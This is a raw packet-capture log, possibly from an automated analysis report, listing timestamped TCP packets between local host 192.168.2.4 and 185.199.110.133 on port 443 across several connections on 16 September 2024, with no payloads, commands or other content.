Sep 16, 2024 19:33:01.005987883 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006053925 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.006053925 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.006059885 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006155014 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.006268978 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006287098 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006360054 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.006360054 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.006366014 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006556988 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006571054 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006628990 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.006628990 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.006635904 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006736994 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006740093 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.006757975 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006774902 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006810904 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.006840944 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.006855011 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.006941080 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.007066011 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.007090092 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.007144928 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.007150888 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.007181883 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.007332087 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.007797956 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.007813931 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.007890940 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.007890940 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.007896900 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.008034945 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.008055925 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.008074045 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.008080006 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.008100986 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.008131027 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.008131027 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.054590940 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.054619074 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.054692984 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.054692984 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.054698944 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.054761887 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.055949926 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.055969000 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.056015015 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.056041002 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.056078911 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.056178093 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.056202888 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.056241989 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.056256056 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.056292057 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.056495905 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.056516886 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.056607008 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.056607962 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.056624889 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.057687998 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.057710886 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.057753086 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.057766914 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.057806015 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.059103012 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.059134007 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.059175014 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.059187889 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.059237003 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.062581062 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.062604904 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.062654972 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.062669039 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.062707901 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.062843084 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.062875032 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.062918901 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.062937975 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.062963009 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.064155102 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.064178944 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.064249039 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.064261913 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.064311028 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.075349092 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.075366020 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.075431108 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.075431108 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.075438023 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.075613022 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.077208996 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.077224016 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.077296019 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.077296019 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.077301979 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.077339888 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.077364922 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.077378035 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.077445984 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.077457905 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.077493906 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.077651978 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.079319954 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.079334021 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.079400063 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.079411030 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.079530954 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.079787970 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.079802990 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.079835892 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.079840899 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.079880953 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.079880953 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.101771116 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.101792097 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.101861954 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.101869106 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.101897001 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.101918936 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.102246046 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.102313042 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.102322102 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.102341890 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.102364063 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.102404118 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.103349924 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.103368044 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.103415012 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.103420973 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.103431940 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.103631973 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.103734970 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.103751898 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.103815079 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.103815079 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.103821993 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.103871107 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.104732037 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.104751110 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.104788065 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.104794979 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.104841948 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.104841948 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.105063915 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.105077028 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.105228901 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.105252981 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.105262041 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.105283022 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.105320930 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.105948925 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.105962038 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.106033087 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.106033087 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.106040955 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.106152058 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.106170893 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.106235027 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.106235027 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.106241941 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.106518030 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.107235909 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.107254028 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.107304096 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.107310057 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.107330084 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.107361078 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.125186920 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.125209093 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.125236988 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.125269890 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.125329971 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.125427961 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.141416073 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.141439915 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.141521931 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.141531944 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.141571045 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.141612053 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.146689892 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.146712065 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.146804094 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.146867990 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.146941900 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.146985054 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.147006989 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.147027969 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.147054911 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.147428036 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.147469044 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.147505045 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.147520065 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.147546053 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.148721933 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.148765087 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.148781061 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.148801088 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.148842096 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.148842096 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.150099993 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.150118113 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.150157928 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.150172949 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.150197983 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.153681040 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.153703928 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.153734922 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.153748989 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.153780937 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.153934002 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.153950930 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.153984070 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.153996944 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.154025078 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.162405968 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.162441969 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.162467003 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.162475109 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.162518024 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.164133072 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.164156914 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.164196968 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.164205074 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.164223909 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.164331913 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.164361000 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.164382935 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.164401054 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.164408922 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.166682005 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.166706085 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.166738033 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.166744947 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.166765928 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.166796923 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.166817904 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.166856050 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.166877031 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.166889906 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.188752890 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.188846111 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.188886881 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.188906908 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.188927889 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.188957930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.189235926 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.189296961 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.189342022 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.189347982 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.189364910 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.189405918 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.190299988 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.190340996 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.190397978 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.190402985 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.190443039 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.190443993 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.191097021 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.191138029 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.191168070 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.191174030 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.191205025 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.191226959 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.191593885 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.191612959 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.191646099 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.191660881 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.191699028 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.191699028 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.192222118 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.192246914 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.192285061 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.192298889 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.192321062 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.192353010 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.192359924 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.192457914 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.192457914 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.192457914 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.192466974 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.193064928 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.193090916 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.193156004 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.193175077 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.193175077 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.193176031 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.193185091 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.193239927 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.193239927 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.193247080 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.193289042 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.194288015 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.194305897 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.194360018 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.194365978 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.194403887 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.194403887 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.200592041 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.200611115 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.200654984 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.200676918 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.200704098 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.229060888 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.229104996 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.229161978 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.229168892 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.229214907 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.229214907 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.238059044 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.238076925 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.238137960 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.238158941 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.238187075 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.238452911 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.238468885 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.238533974 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.238534927 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.238550901 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.238795996 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.238809109 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.238852024 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.238871098 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.238893986 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.240133047 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.240149021 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.240189075 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.240207911 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.240232944 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.242425919 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.242439032 CEST	443	49763	185.199.110.133	192.168.2.4
